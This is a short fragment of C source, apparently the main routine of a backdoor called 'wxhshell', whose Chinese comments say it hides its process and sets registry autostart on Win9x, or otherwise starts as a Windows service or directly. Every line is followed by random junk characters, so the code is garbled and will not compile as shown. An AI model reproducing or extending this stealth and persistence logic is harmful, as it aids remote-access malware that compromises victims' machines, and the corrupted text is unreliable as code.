// 如果时win9x，隐藏进程并且设置为注册表启动 uhN%Aj\iu(
HideProc(); _Fp>F
StartWxhshell(lpCmdLine); \EbbkN:D
} %/kyT%1
else qdCWy
if(StartFromService()) I PE}gp
// 以服务方式启动 ryO$6L
StartServiceCtrlDispatcher(DispatchTable); 2EQ6J
else FDR1Gy
// 普通方式启动 wHz?#MW 3L
StartWxhshell(lpCmdLine); KsAH]2Q%
R)!`JKeO/
return 0; x4Rk<Th"o
}